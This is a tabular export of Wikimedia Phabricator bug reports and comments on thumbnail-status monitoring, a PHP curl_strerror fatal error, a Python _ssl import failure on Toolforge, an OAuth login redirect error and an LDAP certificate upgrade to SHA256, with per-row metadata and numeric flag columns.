+",,,1500905041,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,107,True,1,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1
+898706,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,@chasemp how would we setup the check and gauge how much it costs?,,,1500634535,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,107,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0
+770861,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"I'd say, let's set it up and see how much it costs. We can also vary the check frequency.",,,1480680644,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,False,,,74,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0
+583485,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,"Sounds good, but like we'd still need an ACK from Mark because this actually costs money.",,,1450901459,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,24,True,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+561550,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,">>! In T106937#1798210, @Dzahn wrote:
+>>>! In T106937#1485653, @chasemp wrote:
+>> @mark is this worthy of a catchpoint alert?  It seems like it may be a good external sanity check.
+> 
+> @chasemp Is that something that is possible in catchpoint though? As i understand it https://en.wikipedia.org/wiki/Special:ListFiles would always be 200 but we'd have to check if any thumbnails within the page are not being loaded.
+
+catchpoint can request the page and then all child resources and report on their failure.  We do this already now for the pages we watch via selenium and chome alerting on 10% or 10 child resource failures such as images etc.  We could totally do something similar in this instance if we want I believe. It does require a sophisticated enough check though.",,,1447251961,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,18,True,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+561360,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,">>! In T106937#1485653, @chasemp wrote:
+> @mark is this worthy of a catchpoint alert?  It seems like it may be a good external sanity check.
+
+@chasemp Is that something that is possible in catchpoint though? As i understand it https://en.wikipedia.org/wiki/Special:ListFiles would always be 200 but we'd have to check if any thumbnails within the page are not being loaded.",,,1447205339,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,18,True,1,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,0,0,0,1
+497715,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,">In general, if that happens, it indicates a pretty serious problem with upload or new thumbnails.
+
+There could be edge cases where this could happen and its not a problem. If someone did a mass upload of files that could not be rendered. Although we've fixed most of the broad file could not be rendered issues, so seems kind of unlikely now a days.",,,1438027638,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,3,True,0,1,0,1,1,1,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0
+497600,Monitor [[Special:ListFiles]] for non 200 HTTP statuses in thumbnails,@mark is this worthy of a catchpoint alert?  It seems like it may be a good external sanity check.,,,1438021272,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-gqgt56wsdwwz36fqbgum,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,1,0,0,0,0,0
+106579,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232
+
+The error was introduced in {db2d4b670983df43686c4c1a671369d8ebcaaf82}
+
+curl_strerror was added in php 5.5, and it appears to be supported in hhvm as well, so I'm really not sure why this is an undefined function.
+
+",High,80.0,1437592355,1437596814.0,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-USER-fn7qnpccfbitivgtw2rt,False,PHID-TASK-dew2vsthlv3maoupvl3m,task_description,resolved,True,c3,3,True,True,True,2,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+495162,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"Change 226388 merged by 20after4:
+Use feature test rather than version check
+
+[[https://gerrit.wikimedia.org/r/226388]]",,,1437596566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+495160,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"Change 226388 had a related patch set uploaded (by 20after4):
+Use feature test rather than version check
+
+[[https://gerrit.wikimedia.org/r/226388]]
+",,,1437596221,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1
+495159,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,I'm going to backport this to wmf15,,,1437596160,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+495154,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"Change 226348 merged by Aaron Schulz:
+Use feature test rather than version check
+
+[[https://gerrit.wikimedia.org/r/226348]]",,,1437595812,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+495119,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,">>! In T106579#1472270, @aaron wrote:
+> Can we just use http://php.net/manual/en/function.function-exists.php ?
+
+Heh, mid air collision :)",,,1437594272,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1
+495118,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,Can we just use http://php.net/manual/en/function.function-exists.php ?,,,1437594243,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0
+495117,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"Change 226348 had a related patch set uploaded (by Nikerabbit):
+Use feature test rather than version check
+
+[[https://gerrit.wikimedia.org/r/226348]]
+",,,1437594238,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+495113,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"I'm still confused:
+```
+> var_dump( version_compare( '5.6.99-hhvm', '5.5.0' ) );
+int(1)
+
+> var_dump( version_compare( '5.5.9-1ubuntu4.11', '5.5.0' ) );
+int(1)
+
+> var_dump( version_compare( '5.3.10-1ubuntu3.19+wmf1', '5.5.0' ) );
+int(-1)
+```
+
+Which one of the above does not have it?",,,1437594108,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,1
+495110,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,">>! In T106579#1472177, @Nikerabbit wrote:
+> What is `PHP_VERSION` on production?
+
+One of these:
+
+5.3.10-1ubuntu3.19+wmf1
+5.5.9-1ubuntu4.11
+5.6.99-hhvm",,,1437593797,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,1
+495109,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"One of these:
+
+5.3.10-1ubuntu3.19+wmf1
+5.5.9-1ubuntu4.11
+5.6.99-hhvm",,,1437593764,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+495106,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"So what is wrong with this check in the code: `if ( version_compare( PHP_VERSION, '5.5.0' ) >= 0 ) { call it }`?
+
+What is `PHP_VERSION` on production?",,,1437593436,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,1
+495095,Fatal error: Call to undefined function curl_strerror() in /srv/mediawiki/php-1.26wmf15/includes/libs/MultiHttpClient.php on line 232,"> curl_strerror was added in php 5.5, and it appears to be supported in hhvm as well, so I'm really not sure why this is an undefined function.
+
+Because Wikimedia doesn't run php5.5/hhvm everywhere and still has a load of zend php5.3 machines?",,,1437592837,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-dew2vsthlv3maoupvl3m,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+105403,can't import _SSL in /usr/lib/python2.7/ssl.py,"Trying to run a script on cron for the HostBot project. Script works as expected when manually run from the command line, fails on JSUB. This is using a virtualenv with the dev version of mwclient, since the version on labs is an older one without support for setting a user-agent.
+
+Looks like it's using an instance of Python that can't import `_ssl`. Is this expected behavior? Can that Python be updated? Any help appreciated :)
+
+cron job:
+
+```
+*/5 * * * * jsub -N matchbotenwiki /data/project/hostbot/matchbot/bin/python /data/project/hostbot/bot/matchbot/matchbot/matchbot.py /data/project/hostbot/bot/matchbot/matchbot/
+```
+
+Stack trace:
+
+```
+Traceback (most recent call last):
+  File ""/data/project/hostbot/bot/matchbot/matchbot/matchbot.py"", line 34, in <module>
+    import mwclient
+  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/mwclient/__init__.py"", line 27, in <module>
+    from client import Site, __ver__
+  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/mwclient/client.py"", line 22, in <module>
+    import requests
+  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/__init__.py"", line 58, in <module>
+    from . import utils
+  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/utils.py"", line 26, in <module>
+    from .compat import parse_http_list as _parse_list_header
+  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/compat.py"", line 7, in <module>
+    from .packages import chardet
+  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/packages/__init__.py"", line 3, in <module>
+    from . import urllib3
+  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/packages/urllib3/__init__.py"", line 10, in <module>
+    from .connectionpool import (
+  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/packages/urllib3/connectionpool.py"", line 31, in <module>
+    from .connection import (
+  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/packages/urllib3/connection.py"", line 45, in <module>
+    from .util.ssl_ import (
+  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/packages/urllib3/util/__init__.py"", line 5, in <module>
+    from .ssl_ import (
+  File ""/data/project/hostbot/matchbot/local/lib/python2.7/site-packages/requests/packages/urllib3/util/ssl_.py"", line 12, in <module>
+    import ssl
+  File ""/usr/lib/python2.7/ssl.py"", line 60, in <module>
+    import _ssl             # if we can't import it, let the error propagate
+ImportError: No module named _ssl
+```",High,80.0,1436477749,1436479534.0,PHID-USER-i6la3rbocleoqjqldvzu,False,PHID-USER-i6la3rbocleoqjqldvzu,False,PHID-TASK-kcqa6up27sfqrdwqqfed,task_description,resolved,True,c3,3,True,True,True,1,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+489695,can't import _SSL in /usr/lib/python2.7/ssl.py,"Fixed by @yuvipanda and @fhocutt. Solution below. 
+
+```
+ jsub -N <name> -l release=trusty <command>
+```",,,1436479522,,PHID-USER-i6la3rbocleoqjqldvzu,False,,,PHID-TASK-kcqa6up27sfqrdwqqfed,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1
+105375,"Login fail with ""Curl error: "" due to 301 generated by OAuth provider","After authorizing on commons (with Extension:OAuth, as oauth provider), on the commonsarchive (with Extension:OAuthAuthentication, as oauth client):
+```
+Exception encountered, of type ""Exception""
+[03fd090a] /wiki/Special:OAuthLogin/finish?oauth_verifier=****bc69825860215462c4f5ef74****&oauth_token=75551e721a597bd39098dd26159e768d Exception from line 220 of /srv/mediawiki/extensions/OAuthAuthentication/libs/mwoauth-php/MWOAuthClient.php: Curl error: 
+Backtrace:
+#0 /srv/mediawiki/extensions/OAuthAuthentication/libs/mwoauth-php/MWOAuthClient.php(188): MWOAuthClient->makeCurlCall(string, string, boolean, boolean, MWOAuthClientConfig)
+#1 /srv/mediawiki/extensions/OAuthAuthentication/libs/mwoauth-php/MWOAuthClient.php(129): MWOAuthClient->makeOAuthCall(OAuthToken, string)
+#2 /srv/mediawiki/extensions/OAuthAuthentication/handlers/OAuth1Handler.php(47): MWOAuthClient->identify(OAuthToken)
+#3 /srv/mediawiki/extensions/OAuthAuthentication/specials/SpecialOAuthLogin.php(66): MediaWiki\Extensions\OAuthAuthentication\OAuth1Handler->identify(OAuthToken, MWOAuthClient)
+#4 /srv/mediawiki/includes/specialpage/SpecialPage.php(384): MediaWiki\Extensions\OAuthAuthentication\SpecialOAuthLogin->execute(string)
+#5 /srv/mediawiki/includes/specialpage/SpecialPageFactory.php(582): SpecialPage->run(string)
+#6 /srv/mediawiki/includes/MediaWiki.php(267): SpecialPageFactory::executePath(Title, RequestContext)
+#7 /srv/mediawiki/includes/MediaWiki.php(566): MediaWiki->performRequest()
+#8 /srv/mediawiki/includes/MediaWiki.php(414): MediaWiki->main()
+#9 /srv/mediawiki/index.php(41): MediaWiki->run()
+#10 {main}
+```
+Further investigation shows the curl post to https://commons.wikimedia.org/w/index.php?title=Special:OAuth/identify encountered a 301 (as a result of 155d555b83eca640), and Extension:OAuthAuthentication is unable to handle it.",High,80.0,1436463389,1436538682.0,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-TASK-3tyjzpv7wophchvgpp3u,task_description,duplicate,True,c3,3,True,True,True,1,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1
+105187,update ldap-mirror.wikimedia.org certificate to sha256,"This will be the tracking task to replace the SHA1 certificate for ldap-mirror.wikimedia.org to SHA256.
+
+[ ] - reissue certificate in SHA256 & create patchset containing the new certificate
+[ ] - merge into puppet and ensure ldap gets the updated information
+
+
+FYI: I recall that previously, puppet alone didn't force LDAP to use the new certificate; further manual commands were required within ldap.",High,80.0,1436374484,1436453814.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-xwxce3kpvsv54t735g7q,False,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_description,resolved,True,c3,3,True,False,True,0,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+489340,update ldap-mirror.wikimedia.org certificate to sha256,Done,,,1436453814,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+489324,update ldap-mirror.wikimedia.org certificate to sha256,"Change 223788 merged by Alexandros Kosiaris:
+Sign ldap-mirror.wikimedia.org with SHA256
+
+[[https://gerrit.wikimedia.org/r/223788]]",,,1436452672,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+489323,update ldap-mirror.wikimedia.org certificate to sha256,"Documentation in: https://wikitech.wikimedia.org/wiki/WMF_CA
+
+Merging puppet change and restarting ldap servers to pick up the change",,,1436452643,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+489317,update ldap-mirror.wikimedia.org certificate to sha256,"Change 223788 had a related patch set uploaded (by Alexandros Kosiaris):
+Sign ldap-mirror.wikimedia.org with SHA256
+
+[[https://gerrit.wikimedia.org/r/223788]]
+",,,1436452208,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+489273,update ldap-mirror.wikimedia.org certificate to sha256,"As @RobH points out
+
+```
+openssl x509 -in /home/alex/wikimedia/gerrit/puppet/production/files/ssl/ldap-mirror.wikimedia.org.crt -issuer
+issuer= /C=US/ST=California/L=San Francisco/O=Wikimedia Foundation/OU=Operations/CN=WMF CA 2014-2017
+```
+
+This is indeed an internal certificate issued by WMF CA 2014-2017. I 'll issue a new certificate with a sha256 signature and document it in wikitech",,,1436448445,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,1
+488954,update ldap-mirror.wikimedia.org certificate to sha256,"ldap-mirror is plutonium which is I believe Alexandros's project.  I've never touched it.
+
+So, I'm not unwilling to work on this, but it might be simpler for Alex.",,,1436390823,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-p5d7qq6yb5f7w246wdhj,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0
+488737,update ldap-mirror.wikimedia.org certificate to sha256,"From what I can see, there is no issuer within the certificate.  When you run ""openssl x509 -in <certfile.crt> -noout -text"" against a certificate file, it shows information, including the issuing agency.
+
+When run against any of our rapidssl, digicert, globalsign, or symantec certificates, we get issuer information in the output.  I have no order information in my Symantec, Digicert, or Globalsign portals.  Attempting reissue with rapidssl results in certificate not found.
+
+This makes me think this is a self signed certificate, which is why its lacking those particular fields.  As such, this isn't really something that requires me to reissue.  This requires someone who knows ldap, and knows about how self signed keys will affect this certificate use; to own this ticket.
+
+I asked in IRC, and @coren backed up my initial suggestion that @andrew handled this the last time we had to change ldap certificates.  As such, I am going to assign him to this task.
+
